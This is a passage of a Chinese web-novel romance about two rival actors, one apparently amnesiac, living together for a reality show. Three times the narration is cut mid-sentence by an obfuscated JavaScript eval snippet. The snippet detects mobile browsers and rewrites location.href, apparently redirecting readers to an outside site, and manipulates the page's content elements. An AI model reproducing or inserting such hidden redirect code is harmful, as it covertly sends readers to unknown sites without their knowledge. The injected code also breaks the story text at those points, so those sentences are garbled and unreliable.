“诶!对了,我看了你们之前那个综艺《致命心跳》的宣发预告,不得不说,那白眼狼还是有点东西的,演的跟真的一样……怪不得人家能拿影帝呢!”陆景恒显得有些兴致勃勃,“我说洺哥,这你可得加把劲儿,可别输给他了……” 想起他们拍摄预告花絮的时候,傅予沉的表现,江洺也是吃了一惊,没想到那货即便是失忆了,那些表演技巧却还没有丢,导演只大概给他们顺了一下思路,那货一下子就入戏了……这,也莫名激起了他的好胜心。 ‘叮咚、叮咚’门铃声响起。 可真是不禁念叨,这才说起傅予沉呢,没想到这么快就到了,江洺一边起身去开门,一边对着电话那头说到,“行了行了,跪安吧。” 陆景恒噗嗤一笑,“洺哥,加油哦!” -- 江洺住的地方叫‘盛园’,是盛世集团主导开发的高端私人别墅区,整个住宅区占地广阔,独栋别墅之间都有绿化带隔开,私密性十分不错。 这样的地方,安静、美好、私密性强,很适合安心搞创作。 当然,住在这样的一个地方,也是有些不好的。 ——譬如,离市区有将近一个小时的车程,当然,江洺不用考虑这个问题,他不需要通勤。 傅予沉是被他的生活助理小张开车送来的,显然,没有得到别墅主人的首肯,外来车辆是无法直接驶入的。 隔着别墅外的金属栅栏,以及栅栏上缠绕的花藤,江洺一眼就看到了门口的傅予沉。 青年戴着一顶米色的鸭舌帽,嘴里还叼着一根棒棒糖,半坐在一个银色的行李箱上,一双大长腿委委屈屈的半弯着,露出了一截干净的脚踝来。 江洺脚步微微一顿。 这货失忆后,一改之前‘黑白灰’西装三件套、高冷禁欲、扣子扣到最上一颗的性冷淡穿搭风格,变得青春洋溢了起来,薄荷绿宽松卫衣+米色直筒工装裤+白色运动板鞋,卫衣的肩头还趴着一个白色毛绒绒玩偶,在加上那双明亮澄澈的眸子……简直是开屏暴击。 乍看过去,活脱脱一个涉世未深的男大。 江洺沉吟片刻,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259320|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中悠悠补充。 【嗯,还是‘清纯小白花’那一挂。】 怎么?失忆还有返老还童的效果?江洺心中嘀咕着,侧身让开门来,“进来吧。” 傅予沉却并没有立即进来,反而有些扭捏,“那个……哥哥,我能带咱们儿子一起来住吗?” 江洺眉心跳了跳,之前还是‘地下恋三年’的剧本,现在怎么连‘儿子’都有了?这虚构的亲密关系难道还能‘虚构’一个‘儿子’出来吗? 如果可以,他恨不得现在就拿椰子敲开这个——据说失忆了的脑子,看看里面到底装了些什么废料,冷笑道,“儿子?你生的?你能生?” 傅予沉却不知道想到了什么,一张俊脸霎时间红了,“就……就是我们的儿子。” 江洺双手抱臂,“行,抱过来看看。” 他倒要看看还有什么更离谱的事情,只见傅予沉将手指放到唇上,吹了一个口哨,然后对着远处的花园喊了一声,“奶糖,过来!” 就见一团白色的毛球从远处飞奔而来,并且略过了站在门口的,它的主人傅予沉,径直奔向江洺,眼看一双沾染着泥土和樱花花瓣的前爪就要搭到江洺的身上……然后就被‘扼住了命运的后颈皮’。 傅予沉一手拉住了狗子脖颈上的项圈,又伸手摸了摸它的脑袋,认真解释到,“乖,这位就是我跟你讲过的,你的另一个爹地,快来打个招呼。” “汪?”狗子瞪着一双深褐色的纯洁的大眼睛看向江洺。 江洺…… 傅予沉却一点儿也不觉着尴尬,甚至转身看向江洺,以一种求表扬的眼神看向他,“这就是我们的儿子,活泼了点……但它很健康!” 江洺…… -- “哥哥,你不带我参观一下吗?” 江洺冷哼一声,想要伸手拍开在自己的腿侧蹭来蹭去的毛绒绒,巴掌落下的一瞬间,又不由自主地变成了轻轻的抚摸,刚才疯跑了一圈的萨摩耶一边张着嘴喘气,一边瞪着一双纯洁的大眼睛看着他,尾巴几乎要摇出了残影。 “一楼是客厅、餐厅、厨房……东侧还有一个健身房,你可以自行使用。” “二楼东侧客房,你随意选一间自己喜欢的住就行,缺什么告诉我,我让他们再送过来。” “二楼是西侧是我的卧室,和个人工作室……”江洺说罢,看了傅予沉一眼,特意强调,“闲人免进。” “三楼露台,还有一个花房,平日里我打理的少,你有兴趣可以去看看……” “哦,对了,地下一层是影音室和酒窖,地下二层是停车场,回头我跟物业那边说一声,把你生活助理和你常用的车辆信息录入进来。” 江洺一口气说了许多话,说完看了一眼站在一旁,仿佛愣住了的傅予沉,“记住了吗?” 傅予沉连忙点头,一双眼睛里blingbling的闪着光,“哥哥,你对我真好!我就知道你这里根本没有别的狗,你肯定是喜欢我的!” “嗯?” “你在医院的时候说过,要官宣我是你的小狗呀!”傅予沉有些雀跃,“嘿嘿,从今天开始,我就是哥哥唯一的小狗。” 9. 怀疑 江洺对失忆小傻子的热情嗤之以鼻,转而看向趴在自己腿边的萨摩耶,“这只……额,奶糖,要给它收拾一间屋子吗?还有,他平时吃哪种狗粮,我让人去买……” 傅予沉思考了片刻,突然道,“哥哥,咱们去逛超市吧?” 江洺??? “我刚来的时候看到了,离这边不远的地方有个商超。”不等江洺拒绝,他又接着说道,“看着人不多,我们仔细伪装一下,不会有人认出来哥哥的,我们一起去吧?” 江洺…… -- 戴着口罩走在超市的货架间的时候,江洺还有些恍惚,他怀疑傅予沉给它下了降头,但是他没有证据。 总之,被那一大一小,两双眼睛盯着,江洺脑子一抽就答应了下来。 当然,江洺是坚决不承认,自己在某种程度上也是个‘颜狗’的事实。 总之,他绝对不是因为被死对头的色相迷惑了,他只是……只是不忍心让奶糖睡冰凉的地板! 前面两步远的地方,傅予沉推着购物车,像是第一次进城的‘刘姥姥’,看着什么都很新奇的模样,这里看看,那里挑挑……好在这家商超也算是别墅区的配套产业之一,平日里过来逛的人并不多,才没有让‘高冷影帝’的滤镜碎一地。 “哥哥,我们晚上吃什么?” “外卖。”江洺几乎没有思索,他自己喜欢安静,平日里也只请了家政阿姨按时来别墅区打扫卫生,并没有聘请住家保姆。他自己又不会做饭,除了虞绍三五不时的过来做两餐饭,他住在别墅的大部分时候,都是点的附近一个酒店的外卖配送。 "啊?外卖啊……"傅予沉肉眼可见的有点失落。 江洺心中好笑,这小傻子莫不是还想着他做饭给它吃吧?想的倒是挺美!做他的春秋大梦去吧! “我不会。”江洺两手一摊,十分光棍且坦然。 “这样啊?”傅予沉的情绪突然多云转晴,又高兴起来,“我还以为哥哥不愿意跟我一起吃饭呢……我会!哥哥你喜欢吃什么?” “随便。” “随便是什么?” “随便就是都行,你看着发挥就行……”江洺十分怀疑傅予沉的厨艺,况且还是傅.失忆小傻子版.予沉。 两人絮絮叨叨的,不知不觉买了许多菜,等到收银台的时候,傅予沉以一种参加重要商业会谈的架势,站在货架旁仔细挑选了许久,最后拿了一小盒粉色的‘计生用品’。 江洺眉心直跳,咬牙低声道,“你买那个做什么?” 傅予沉眨了眨眼,耳尖霎时间变得绯红,“哥哥……你不是喜欢草莓味吗?” 江洺??? -- 两人一回到家,傅予沉为了赎罪,洗了一盒红艳艳的草莓放到了他面前,看着他欲言又止,似乎有些怀疑,“哥哥你……真的不喜欢草莓味吗?” 然后毫无悬念的,就挨了江洺忍无可忍的一脚,飞快转身就去厨房忙活了。 临进厨房门,他还不死心,又转身看向江洺的方向,“那哥哥喜欢什么味?我下次……” “滚!” 江洺余怒未消,也没有要去厨房帮忙的意思,索性转身回楼上,洗了个澡,平息一下满心怒气。 如果傅予沉跟他对着来,他倒是可以让他知道一下自己练舞十余年的实力……但是,这小子挨了一脚,还笑的贼眉鼠眼的,仿佛占了大便宜似的,莫名让江洺觉着不爽。 …… 等他换好舒适的睡衣出来的时候,就已经能够闻到厨房传来的香味了,他索性翘着腿坐在沙发上,愤愤地拿起了一个草莓,狠狠地咬了一口。 嗯,确实味道还不错。 -- 不一会儿的功夫,傅予沉就已经做好了晚餐,声音带着些少年的清朗雀跃,毫无芥蒂到,“哥哥,来吃晚饭啦!” 如果是以前的傅予沉这样说话,他只会感觉做作,至于现在……江洺摇了摇头,算了,他不跟傻子一般计较。 事实证明,他确实是低估傅予沉的厨艺了。 一道猴头菇鸡汤,汤汁香气浓郁,鸡肉软烂,很是好吃。 一道清蒸鲈鱼配茭白,肉质鲜美,烹饪过程中很好的锁住了鱼的鲜味,还有一道卷心菜炒鸡蛋,咸淡适宜,入口之后还有一丝属于卷心菜的甜味。那锅南瓜小米粥也是十分的软糯香甜…… 虽然都是简单的家常小菜,但是现场烹饪的,竟然比他之前点的五星级大厨的外卖还要好吃几分,以至于江洺成功的把自己吃撑了。 虞绍打电话来的时候,江洺正摸着有些撑的胃部,歪歪斜斜地坐在餐厅的椅子上。 “怎么样,入住第一天,你没对人家动手吧?” 透过透明的玻璃隔断,江洺能够看到还在厨房忙碌的身影。青年腰间系着一个浅粉色的围裙,长了些许的系带在腿间晃荡,察觉到他的眸光,甚至转过身来递给了他一个笑容明媚的wink。 江洺……他很难想象,一个人失忆之后会变化这么大,傅予沉这模样,不像是失忆了……倒像是那些剧本中说的那样,被哪里来的孤魂野鬼穿越了。 从胡思乱想中回过神来,江洺轻咳了一声,“怎么会,你看我是那样的人吗?” 虞绍松了一口气,“没有就好,明天上午《致命心跳》的节目组要去你那边提前安装拍摄设备,可能要在直播之前,先拍一点你们相处的日常,你先准备一下。” “好的,知道了。” “别打人,知道吗?”虞绍犹不放心,又补充来了一句,“实在忍不住了,也别打脸……” 江洺…… 【啧,没有欺负智障的爱好,等小傻子恢复记忆了,再一一清算。】 -- 另外一边,傅予沉的生活助理小张,一边开着车,一边还时不时的瞟一眼坐在后座上的顾淮。 顾淮低头看着手里的文件,眼神都没抬一下,“怎么?有什么想说的?” “咱们就……就这么让傅哥一个人去那……那江洺那里住啊?”小张有一句话没说,那地方虽然看着豪华幽静,但是那么偏僻,万一被被‘鲨人抛尸’了,估计十天半个月都不见得有人发现。 况且,以往傅哥跟江洺的关系就不好,就他知道的,这两个人互相买黑热搜的钱,估计都够请十个八个海外杀手了……如今傅哥失忆了,还傻乎乎的送上门去,这不是‘羊入虎口’么?万一那个江洺一个没忍住,对他傅哥下手了?那可怎么是好? 他光是从市区赶过去,不堵车的时候也得个把小时,真要发生点什么,等他赶过去的时候,估计人都凉了。 顾淮仿佛知道他在想什么,嗤笑一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259321|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“放心吧,那小子即便只有十八岁的记忆,也比你机灵。” 小张…… “看着点开车,别把车开沟里了”,顾淮淡淡道,“咱两可不见得有那小子的运气。” 出了车祸,不小心撞到了路边的绿化带,安全气囊及时弹出,也就磕了下……甚至都没有伤到他那张上了保险的脸,也算是不幸中的万幸了。 所以,自从出事了以后,他一直很淡定。 至于意外失忆,不小心被偷拍了,然后不得不跟江洺绑定了事,在他看来也都是小事,只要运作得当,说不定还能趁机再吸一波粉丝。 况且,傅予沉自从去年前的那个电影连斩三金之后,来找他的剧本大都是类似的角色,如今正是一个机会,他也能在角色类型上有所突破。 唯一的问题就是,这货恢复记忆之后,发现自己多了个男朋友,不知道是个什么表情。 顾淮摸了摸下巴,表示有点子期待。 “话说,傅哥他……他真失忆了啊?” “不然呢?他吃饱了撑着,跑他死对头家里找打?” 【你刚还说他比我机灵……】沉默了片刻,想到在网上看到了一些评论,小张忍了又忍,最后没忍住,问到,“你说,有没有可能……傅哥他,一早就暗恋江洺?然后……久思成疾?” 顾淮这才从文件中抬起头,忍不住翻了个白眼,“小张啊,我觉着让你做生活助理实在是屈才了……” “啊?” “回头,我给你介绍一下,你去做编剧吧?” “啊?” “比那些圈内的编剧敢想能编啊,是个人才!” 小张…… -- 吃完饭,江洺摸着有些撑的肚皮,默默去健身房消耗了一下卡路里。 等到带着一身潮湿的汗意回来的时候,就看到他的原‘死对头’,现‘田螺先生’,已经把厨房、餐厅收拾的干干净净,甚至非常自给自足的把客卧的床都铺好了。 还算识相,江洺微微点头,表示满意,“不错。” 傅予沉看到他回来,瞬间就贴了过来,“哥哥~” 江洺一个后撤,躲开扑过来的某人,“行了,一身臭汗……” 傅予沉却不依不饶,反而一个熊抱扑到了江洺身上,下巴在他的肩窝蹭了蹭,“哥哥的汗也是香香的……”又在江洺举起手的同时,飞快退开,“我去洗漱了,哥哥晚安!” 被某人一套连招下来,江洺……瞬间不知道怎么反应,站在原地愣了会儿。 然后一时不察,又被一个毛茸茸的东西又从走廊那头飞奔了过来,扑了个满怀。 不仅如此,这玩意儿还想伸出舌头舔他的脸……江洺举起的手落下,将没拍出去的那巴掌,落在了狗子身上,力道并不重,狗子‘呜呜’了两声,以为江洺在跟它玩儿,反而更是兴奋的蹭了蹭。 “傅予沉!” “哥哥?”这么一会儿功夫,傅予沉已经脱了上衣,听到江洺喊他,从房间里探出了半个身子出来,“你找我?” “把你儿子领回去!”江洺磨牙。 傅予沉一愣,从房间里出来,摸了摸狗头,“乖,妈咪只是还不习惯你,不是要始乱终弃,你先去一边儿玩去。” 江洺?!这狗东西是真失忆了?还是故意膈应他呢? 10. 旖旎 江洺怀疑的目光看向傅予沉,虽然眼前的人行事作风,几乎看不出来半分原来那个傅予沉的影子,像是完全换了个人。 但是这狗东西偶尔冒出来的一些话,阴阳怪气的样子,却又能精准的挑动他的神经……让他不得不回忆起,那些不那么愉快的时光。 傅予沉抬眸看他,眸光浮动,眼神清澈见底,像是有些疑惑,“哥哥?” 江洺默默攥拳,挥向面前的俊脸。 拳风扫过,拂起了傅予沉额前的碎发,他眨了眨眼睛,看向江洺,不解到,“哥哥?” 江洺深吸一口气,放下了拳头,如果是原来那个狗东西,肯定不会站着不动让他打……算了,欺负病患没意思。 “没事儿,去休息吧。” 傅予沉眸光一转,突然靠近了半步,轻轻吻了一下他的鼻尖,“嘿,我就知道哥哥舍不得打我!” “唔!”话音戛然而止,偷香窃玉傅予沉,最终还是没有逃过来自江洺的铁拳,一副委屈的小模样,摸着‘受伤’的胸口,哼哼唧唧回房了。 -- 别墅里突然多了一个人,江洺本来以为晚上会睡不好的,没想到闭上眼睛没多久就睡着了。 一夜无梦,第二天照例汲着拖鞋出门的他,站在二楼的栏杆旁,看着楼下厨房里忙乎的某人,难得的产生了几分不真实感。 睡在楼下的奶糖率先发现了他,一路小跑着飞奔上楼,挨着他的裤管,尾巴摇的飞快。 它的主人晚了一步发现江洺,朝他扬起了一抹毫无芥蒂的笑容,显然已经将昨天晚上的委屈抛诸脑后,“哥哥,早啊!” 江洺矜持的点了点头,片刻后,又淡淡开口,“早。” 下楼之后,看到餐桌上洗好的水果,江洺眉梢微扬,挑挑拣拣,拿出一颗长相周正的草莓叼着,就见傅予沉端着一锅海鲜粥出来,锅里还咕噜咕噜的冒着翻着泡泡,香气扑鼻。 喉结不自然的滚动了一下,江洺不得不承认,这狗东西的厨艺真是十分不错。 抛开那些不愉快的过往,把某人当个‘长工’使使,还是很愉快的。 “喂”,江洺扬了扬眉梢,“回头教我做饭呗?” 现在这狗东西是伺候的不错,但是傅予沉总是要恢复记忆的,到时候恐怕又是针尖麦芒、拳脚相向,不可能让他做一辈子的饭的。 “啊?”傅予沉将粥放到餐桌上,闻言抬头,眼神落在了江洺的身上,不自然了一瞬,下一刻就一溜烟跑回厨房了。 江洺?不愿意教就不教,跑这么快做什么?小气鬼!大不了他自己回头去报个厨艺培训班!哼! 因为这一点儿小插曲,整个早餐两人都吃的十分安静,只有杯碟轻微的碰撞声,江洺能感受到傅予沉在偷偷看他,但是等他抬头去看的时候,那狗东西又飞快的移开了视线,只能看到他掩在鬓发中,红的有些异常的耳朵。 一大早的,这小傻子又怎么了? 想着晚点儿还有节目组的人要来,在傅予沉收拾好厨房,准备悄悄开溜的时候,江洺开口叫住了他,“站住”。 傅予沉没有转身,只微微回头,有些别扭,“哥哥?” 不对劲,这狗东西十分不对劲! 江洺起身走到他身边,还没开口,就见他猛地蹲下了,江洺眉梢一跳,“怎么,吃坏东西了?” 这狗东西为了谋害他,在早餐里投毒了?但是他没事儿啊? 傅予沉摇头,“没。” “那怎么回事?” “没,没事……” 江洺转了半圈,站到傅予沉对面,“那你站起来!” “哥哥不许笑我……” “我笑你做什么?”江洺的话音戛然而止,眸光落在了傅予沉的小腹处……实在不是他流氓,而是随着傅予沉站起身,那玩意儿过于可观,隔着顺滑的丝质睡裤,明显的难以忽视。 感受到了江洺的眸光,傅予沉的一张俊脸,顿时浮起了一层绯色,堪比早上的那颗草莓。 一大早的,这又是因何而起?江洺满脑门问号。 仿佛听到了江洺的吐槽,傅予沉微微低头,眸光偏了偏,“哥哥的睡衣,扣子没扣好……” 江洺低头,他自己的睡衣习惯穿的大号的,大约是自己睡觉不够老实,黑色的睡衣被蹭开了几颗扣子,领口大开,漏出了一大片瓷白的肌肤,从自己的角度俯视过去,甚至能看到纤薄的腹肌,以及一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259322|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小段内裤的边边,收束着窄腰……都怪家里暖气太足,他一早起来根本没感觉到异常。 他手忙脚乱地把衬衣的扣子扣到最上面一颗,还是没忍住又觑了傅予沉一眼,“那也不应该……” 看一眼就那啥,也太过了啊……这种情节,他只在剧本里看过。 江洺表示叹为观止。 傅予沉低头,嗫喏了半响,终于开口,“那个……我昨天过来,忘记带内裤了……” 江洺只感觉头顶上一群乌鸦飞过,所以,这狗东西里面什么都没穿?! 他揉了揉眉心,“你今天就准备这样录制先导片?” 回头被看视频的网友扒出来,新晋影帝不仅人设崩了一地,名声还毁于一旦,顾淮和他那些事业粉不得拿刀来追杀他? “本来准备吃饭完自己去买的……没想到……”傅予沉面上还算淡定,但内里也快要自燃了,虽然年轻气盛,又是早上,那啥很正常,但是看一眼就……也……不太正常吧。 但,这种难以遏制的生理反应,他也没有办法。 总之,在他现存的记忆中,从未这么尴尬过。 原来,这就是所谓的……生理性喜欢吗? 当然,这也更坚定了他之前的想法,没有失忆前,他肯定是非常、非常……喜欢江洺。 所以,一定要好好表现,挽回江洺的心! -- 最终,江洺还是没有放任某人出来丢人现眼,决定由自己代为采购。 回到别墅区的时候,远远地他就看到了一个人影在别墅门口徘徊,他有些疑惑,等到近前,才摇下车窗,看向门口的女人,“您好,有什么事情吗?” 女人看到他,眼神猛地一亮,随即笑到,“您好,请问是江洺,江老师吗?” “您是?”江洺有些疑惑。 眼前的人看着十分年轻,只不过眼角的些许细纹微微暴露了她的年纪,微卷的长发被一支碧玉簪挽在脑后,身上是一件改良款的旗袍,外面罩着一件呢子大衣,看起来气质十分不凡,显然不是家境优渥,就是事业有成。 江洺的眸光在女人拎着的‘草莓蛋糕’上落了落,了然,“您是来找傅予沉的?” 11. 心跳 江洺一开门,傅予沉就迎了过来,“哥哥,你回来啦?” 然后他的目光落在了江洺身侧的女士身上,倒是没有什么特别惊讶的神色,十分自然,“妈,你怎么来了?” 盛安澜的觑了眼自家儿子,又看向江洺笑到,“前几天去国外谈了个项目,没想到就发生了这样的事情,冒昧前来拜访,给江老师添麻烦了。” “嗯,还好。您……请进。”江洺不太会跟长辈相处,显得有点局促。 虽然早有猜测,但此刻被傅予沉当面确认了这位的身份,江洺还是感觉有些不自在,特别是手里还拎着帮某人代购的男士内裤…… 他将手里的购物袋往傅予沉怀里一拍,落荒而逃,“阿姨有事儿跟……傅予沉聊吧,我有点事情,先去楼上的书房一趟。” 他想静静。 傅予沉抬了抬手,似乎想要说什么,只不过没有抓到风一般跑走的江洺,只能先看向面前的盛安澜。 “嗐,本来就没什么事儿”,傅予沉将额头凑到盛安澜面前,“您看,伤口都快好了。” 盛安澜没好气的在儿子的头上拍了拍,“怎么,怪我来晚了?我这边可是听说你出事儿了,就立刻处理了手头的事情,改了航班赶回来……没良心的。” 傅予沉拉着盛安澜在沙发上坐好,“妈,你稍等,我先上楼一趟。” 盛安澜看向傅予沉的神色充满了探寻,片刻之后,轻叹一声,“行了,去吧,去吧……妈自己会倒茶喝。” -- 像是刻意加重的脚步声靠近。 然后‘砰砰’的敲门声响起。 “哥哥?” 是与方才骤然看到盛安澜时,截然不同的柔和音色,江洺趴在床上,有些瓮声瓮气,“我没事,你先招待阿姨吧……” “好,那我先下去了。” 隐约听到一声轻笑,然后是愈来愈远的脚步声,江洺这才翻了个身,长舒了一口气,伸手揉了揉脸,他在心虚什么? 他不过是举手之劳,照顾失忆患者,帮忙买个内裤而已,为什么要心虚?! 江洺一翻身坐了起来,避而不见也太失礼了。 手碰到门把手的时候,蓦然又涌上了一阵踟蹰,江洺犹豫片刻,转身……躺下。 还是算了,目前这种情况,突然见了死对头的家长,都不知道能聊些什么,怪尴尬的。 -- 片刻后,盛安澜似笑非笑的看着,重新穿戴整齐的傅予沉出现在她面前。 傅予沉摸了摸鼻子,也没有解释,转而问到,“妈,你怎么突然过来了,也没提前联系一下?” 盛安澜斜了他一眼,“怎么没联系,一下飞机就给你打了电话,没人接!也不知道在忙什么……这要是搁别人家,说不得都报警了。” 傅予沉想起来早上的插曲,感觉耳尖又有些发热,保持了沉默,那阵子兵荒马乱的,哪还顾得上看手机。 盛安澜下巴朝楼上扬了扬,“听说你有喜欢的人了,那位就是你喜欢的人?” “嗯。” “还不错。” 这次轮到傅予沉有些讶异了,“妈,你不反对?”按照顾淮的说法,他之前可是从未表现过‘出柜’的意向。 盛安澜扬眉,“你多大了?” “二十一,但大部分记忆停留在十八,之前因为车祸,忘了些事情。” 盛安澜轻笑一声,接过他递过来的水,“不管十八,还是二十一,你都成年了,只要你自己不后悔就行,我反对什么?”说罢,看着性格大变的傅予沉,又微微有些怀疑,“说起来,你真失忆了?该不会是什么装失忆,骗别人感情的戏码吧?” “是真失忆了”,傅予沉有些无奈,“妈,在你心中,我就是那种人吗?” “不好说……”盛安澜深知自己儿子的秉性,小时候就惯会演戏卖乖。她喝了口水,“我仿佛记得,你十八岁的时候也不这样啊?” 反正在她记忆中,她就没见过她这个儿子表情这么丰富多彩,仿佛什么心事都写在脸上过,像……哦,像那只小萨摩刚到家里的时候一样。 啧啧,有一种脑干缺失的美,还怪新奇的。 傅予沉眨了眨眼,言简意赅,悄声道,“嗯,他喜欢。” 盛安澜木了,合着失忆是真的,演戏也是真的啊……就‘感情’是假的呗。 呵呵,她无法想象未来这小子的生活有多么精彩。 傅予沉抿了抿唇,“顾淮坚持说我们之前关系挺不好的,我也看了些网上的资料……之前在公众场合也确实对他很差,现在我不记得当时为什么要那么做,但他既然在那种情况下还愿意爱我,我肯定不能让他伤心!” 盛安澜指了指自己的太阳穴,叹气,“你就没有想过,顾淮说的才是真的,你的记忆是假的?” “怎么会?”傅予沉坚持道,“我醒来后第一眼看到他,就感觉他是我的理想型……况且,就算记忆出了差错,身体的本能反应骗不了人……” 想起早上的意外状况,那明明是生理性喜欢!傅予沉喉结动了动,“有些事情我现在不好说,反正妈你就别操心了。” 看着‘傻’儿子一副沉浸其中,被‘恋爱脑’占领了智商高地的模样,盛安澜有些新奇的同时,又有点期待后续的发展,认真来讲,截止目前为止,她还没有看过他这个‘早熟’儿子吃亏的模样。 怎么说呢,非常期待! 她战术性喝了一口水,遮掩住了抽动的唇角,“嗯,我看他是个心软的好孩子,你现在失忆了,就算没有爱情,多少能博得几分同情……加油!” “妈!”傅予沉无语,哪有自家亲妈跑过来拆台的。 “算了,本来我还联系了一个国外记忆心理方面的专家,准备带你去看看的……既然你不着急,那就算了。”盛安澜说着话,就准备起身,“我也不在这里碍你的眼了……不过,我记得,你大学还没毕业,最近没有考试吧?” 傅予沉?! 学校考试,可不管他如今的记忆停留在何年何月,他如今应当是大三?他好像念的还是法律专业?! 至于挂科?补考? 傅.天才.予沉表示,自己的字典里没这几个词,况且,拿不到学位,他到时候不也成了娱乐圈的九漏鱼了? 这件事绝对不能发生! 看着自家儿子裂开的表情,盛安澜顿时心情大好,感觉不虚此行,“走了,妈妈祝你成功!” 傅予沉轻咳一声,站起身来,“妈,我感觉我还是需要抢救一下的!” "噗嗤",盛安澜女士笑出了声,“行了,回头把联系方式给你,你自己看着办。” “好,谢谢妈!” 盛安澜拍了拍傅予沉的肩膀,语重心长,“妈妈给你一句忠告,感情的事情,可容不得欺骗,你自己悠着点儿……到时候翻车了,可没地儿哭……” “妈,我真没装失忆!”傅予沉郑重补充,“并且,我对他,也是认真的!” “行了,你说什么就是什么吧。走了~” -- 盛女士匆匆前来,飘然而去,留下了一个霜打的茄子似的傅予沉,直到中饭时间,都还没有缓过来。 江洺踌躇片刻,有些好奇,“怎么?阿姨说你什么了?” 傅予沉抬头,语调幽幽,“我忘记了以往的知识,但是还得按时参加考试……” 江洺当年念的是音乐学院,也属于天赋型选手,自然没有这种烦恼,不过还是意思性的问了一下,“你读的什么专业?表演的话,应当没有什么问题?” 傅予沉摇头,沉痛到,“法律 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江洺微微点头,实际上,自从达成合约之后,双方团队都在网络上保持了暂时性的缄默状态,默认事态发酵,等吃瓜路人涌入,整个事件破圈,沉积巨大的流量之后,再通过综艺录制来引爆热点。 总归是签订了协议,利益最大化也没有什么不妥。 只不过……他看了眼傅予沉的方向,这位‘失忆人员’是个变数……到时候综艺录到一半,如果突然恢复记忆,这货不会愤而罢录吧? “哥哥? “你那边顾淮跟你讲清楚了吗?” “说清楚了,我都知道。” “行吧,不后悔就行。” 丁明志笑了笑,“二位知道就好……这次先导片,也算是让二位先熟悉一下。” 江洺接过流程卡,一目十行的看了过去,傅予沉也不去看自己的那份,挤过来和他看同一份。 “嗯?心率计数?” “对,我们咨询了相关运动医学专家,正常成人心率在60-100次/分之间,我们取了个中间值,二位在第一期的生活经费与此相关。” 江洺看向流程卡。 第一期生活经费=(江洺+傅予沉录制期间峰值心率-75*2)*持续时间(min)*10心动币。 简而言之,两人互动的过程中,心跳越快,活动经费愈多。 江洺有些迟疑,他自己他是知道的,常年练舞,静息心率甚至只有55次/分左右,他瞥了一眼傅予沉,显然也是常年健身的体格……基础心率应当也不会很快……他们两不会第一期就要‘啃树皮’,上演‘荒野求生’吧? “这规定不合理吧?过高的心率是一种不健康的表现。” 丁导笑眯眯的,露出了奸诈本色,示意他自己看流程卡背面。 难道有补充条款?怀着期待的心情,翻过流程卡背面,然后江洺就看到了四个大字。 《致命心跳》。 江洺…… 大意了,原来是这个意思。 -- “下面请两位为对方佩戴心率手环。” 那是一对还算精致的运动手表,据说是节目的赞助商最近款产品,正好借此机会宣传。 江洺先是低头给傅予沉扣上,腕带是一种类似树胶的材质,相对柔软亲肤,他很快扣上了表带,然后抬头,将自己的手腕递了过去。 傅予沉这才拿起桌上的另外一只表,带着一种珍而重之的神情,将表盘覆盖在江洺的手腕上,手指无意识的摩挲他手腕上的皮肤,只感觉接触的地方,传来一种奇异的痒意。 他的喉结滚了一下,没话找话到,“哥哥,你的手腕好细……” 江洺抬头瞪了他一眼,【闭嘴。】 ——滴,傅予沉的手腕上发出了一阵警报声,眼看着心率就突破了100次/分。 12. 游戏 导演丁明志露出了一抹若有所思的笑容,一边示意摄像切近景,一边轻咳一声,“咳,现在想必两位已经了解我们的规则了。” “接下来,将通过一个游戏,来展现二位的默契程度”。 游戏《心跳二选一》。 游戏规则: 1.两人背对背,手持【A】、【B】选择牌。 2.主持人读出题目后,5秒内必须同时亮牌。 3.若选择一致,则获得高额“心动币”;若不一致,则面临趣味惩罚。 注:心率数据实时公开展示! -- 江洺……他和傅予沉能有个der的默契,这节目组该不是故意的吧? 傅予沉瞥了眼一旁的电子立牌,上面江洺心率开始出现了明显的上浮,他眨了眨眼,“哥哥放心,我有准备!” 平板上跳出题目:【草莓VS苹果】 江洺看到之后微微一愣,想起这两天围绕‘草莓’发生的故事,极轻的笑了一声,选了草莓。 傅予沉则是毫不犹豫地选了草莓,又迫不及待地转身朝江洺眨了眨眼,笑容灿烂,“我就知道哥哥喜欢草莓”。 江洺唇角微抽,不是他喜欢,是他预判了某个傻子的预判。 “恭喜两位答对了,下面进入正式答题阶段!” 【江洺紧张或思考时,会无意识摸:耳垂vs手腕】 看到题目时,江洺愣了一下,他自己都没总结过这个习惯。但仔细回想……好像确实,在独自写歌或面对压力问题时,拇指会下意识摩挲另一只手的手腕内侧。 这一题,傅予沉知道吗? 在那些针锋相对的时光里,他是否曾无意中看到了自己的习惯? 亮牌: 江洺:【手腕】 傅予沉:【手腕】 ——一致! 